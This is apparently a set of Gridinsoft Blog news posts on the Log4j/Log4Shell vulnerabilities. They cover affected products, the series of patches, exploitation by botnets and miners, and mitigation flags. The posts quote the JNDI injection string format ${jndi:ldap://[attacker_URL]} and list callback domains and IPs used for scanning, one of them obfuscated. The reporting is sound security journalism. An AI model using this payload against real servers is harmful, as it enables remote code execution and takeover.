The problem was originally discovered while catching bugs on Minecraft servers, but the Log4j library is present in almost all corporate applications and Java servers. For example, it can be found in almost all enterprise products released by the Apache Software Foundation, including Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Kafka, Apache Dubbo. Log4j is also actively used in open-source projects such as Redis, Elasticsearch, Elastic Logstash or Hydra.

I also said that Log4j vulnerability threatens 35,000 Java packages.

Thus, companies using any of these products are also indirectly vulnerable to attacks on Log4Shell, although they may not even know about it. Information security experts immediately warned that the solutions of such giants as Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI, JD, NetEase, and probably thousands of other companies could be vulnerable to Log4Shell.

It was previously revealed that the first patch for the original problem CVE-2021-44228 (version 2.15) only introduced a new RCE vulnerability CVE-2021-45046 to Log4j, which received 9 points out of 10 on the CVSS vulnerability rating scale.

Because of this, administrators were strongly advised to use only the current version 2.16 and follow further developments on the Log4j update page. The fact is that in Log4j version 2.15, two more less dangerous vulnerabilities were found (CVE-2021-4104 and CVE-2021-42550), which were also eliminated only with the release of version 2.16.

Unfortunately, version 2.16 didn’t last long either. Last weekend, Log4j version 2.17 was released, as a serious denial of service (DoS) issue was detected in the last release, which received the identifier CVE-2021-45105 (7.5 on the CVSS scale). The bug is related to the fact that Log4j does not always protect against infinite recursion during lookup evaluation.

At the same time, experts urge not to panic and not to rush to abandon the use of Log4j at all.

The post Another vulnerability found in Log4j, this time it is a denial of service appeared first on Gridinsoft Blog.

The vulnerability is already being exploited to deploy miners, Cobalt Strike beacons, etc.

An issue in the popular Log4j logging library included in the Apache Logging Project was reported last week. The 0-day vulnerability received the identifier CVE-2021-44228 and scored 10 out of 10 points on the CVSS vulnerability rating scale, as it allows remote arbitrary code execution (RCE).

The problem is aggravated by the fact that PoC exploits have already appeared on the network, and the vulnerability can be exploited remotely, which does not require advanced technical skills.

The vulnerability forces Java-based applications and servers that use the Log4j library to log a specific line to their internal systems. When an application or server processes such logs, a string can cause the vulnerable system to load and run a malicious script from the domain controlled by the attacker. The result will be a complete hijacking of the vulnerable application or server.

Let me remind you that the patch has already been released as part of the 2.15.0 release.

The attacks on Log4Shell have already begun, Bleeping Computer now reports. The publication says that to exploit the bug. An attacker can change the user agent of his browser and visit a specific site or search for a string on the site using the format ${jndi:ldap://[attacker_URL]}.

This will eventually add a line to the web server’s access logs, and when the Log4j application parses these logs and finds the line, an error will force the server to execute a callback or request the URL specified in the JNDI line. Attackers can then use this URL to send commands to the vulnerable device (either Base64 encoded or Java classes).

Worse, simple pushing of a connection can be used to determine if a remote server is vulnerable to Log4Shell.

It is reported that attackers are already using Log4Shell to execute shell scripts that download and install various miners. In particular, the hackers behind the Kinsing malware and the botnet of the same name actively abuse the Log4j bug and use Base64 payloads that force the vulnerable server to download and execute shell scripts. The script removes the competing malware from the vulnerable device and then downloads and installs the Kinsing malware, which will start mining the cryptocurrency.

In turn, Chinese experts from Netlab 360 warn that the vulnerability is being used to install Mirai and Muhstik malware on vulnerable devices. These IoT threats make vulnerable devices part of botnets, use them to extract cryptocurrency, and conduct large-scale DDoS attacks.

According to Microsoft analysts, a vulnerability in Log4j is also used to drop Cobalt Strike beacons. Initially, Cobalt Strike is a legitimate commercial tool created for pen-testers and red teams focused on exploitation and post-exploitation. Unfortunately, it has long been loved by hackers, from government APT groups to ransomware operators.

So far, there is no evidence to guarantee that the ransomware has adopted an exploit for Log4j. Still, according to experts, deploying Cobalt Strike beacons indicates that such attacks are inevitable.

Also, in addition to using Log4Shell to install various malware, attackers use the problem to scan vulnerable servers and obtain information from them. For example, the exploit shown below can force vulnerable servers to access URLs or perform DNS lookups for callback domains. This allows information security specialists and hackers to determine if a server is vulnerable and use it for future attacks, research, or trying to get a bug bounty from its owners.

Journalists are concerned that some researchers may go too far by using an exploit to steal environment variables that contain server data, including the hostname, username under which the Log4j service runs, OS information, and OS version number.

The most common domains and IP addresses used for these scans are:

• interactsh.com
• burpcollaborator.net
• dnslog.cn
• bin${upper:a}ryedge.io
• leakix.net
• bingsearchlib.com
• 205.185.115.217:47324
• bingsearchlib.com:39356
• canarytokens.com

The post Experts are already fixing attacks on the Log4Shell vulnerability appeared first on Gridinsoft Blog.

The patch was released as part of the 2.15.0 release.

The vulnerability was named Log4Shell and scored 10 out of 10 points on the CVSS vulnerability rating scale. The bug allows remote arbitrary code execution (RCE). Yesterday’s information security researcher aggravated the problem, p0rz9 published a PoC exploit on Twitter, and the vulnerability can be exploited remotely, and this does not require special technical skills.

The problem was originally discovered while searching for bugs on Minecraft servers, but Log4j is present in almost all corporate applications and Java servers. For example, the library can be found in almost all enterprise products the Apache Software Foundation released, including Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Flink, Apache Kafka, Apache Dubbo, and so on. Log4j is also actively used in various open-source projects, including Redis, ElasticSearch, Elastic Logstash, Ghidra, and others.

Thus, companies using any of these products are also indirectly vulnerable to attacks on Log4Shell, but may even know about it. Information security specialists already report that solutions of giants like Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI, JD, NetEase, and probably thousands of other companies may be vulnerable to Log4Shell.

p0rz9 wrote that CVE-2021-44228 could only be exploited if the log4j2.formatMsgNoLookups parameter is set to false. KnownSec 404 Team reports that Log4j 2.15.0 has set this parameter to true to prevent attacks. Log4j users who have upgraded to version 2.15.0 and then set the flag to false will again be vulnerable to attacks.

Moreover, Log4j users who have not updated, but have set the flag to true, will still be able to block attacks even on older versions.

Unfortunately, this also means that all older versions are at risk, where this parameter is set to false by default. That is, all previous releases of Log4j, starting with 2.10.0, are vulnerable.

According to experts from Bad Packets and Greynoise, several cybercriminals are already scanning the network in search of applications that may be vulnerable to Log4Shell, which means that there is almost no time left to install patches.

Let me remind you that I also talked about the fact that the IIS bug with worm potential poses a threat to WinRM servers.

The post 0-day In Log4j Library Poses A Threat To Many Applications & Servers appeared first on Gridinsoft Blog.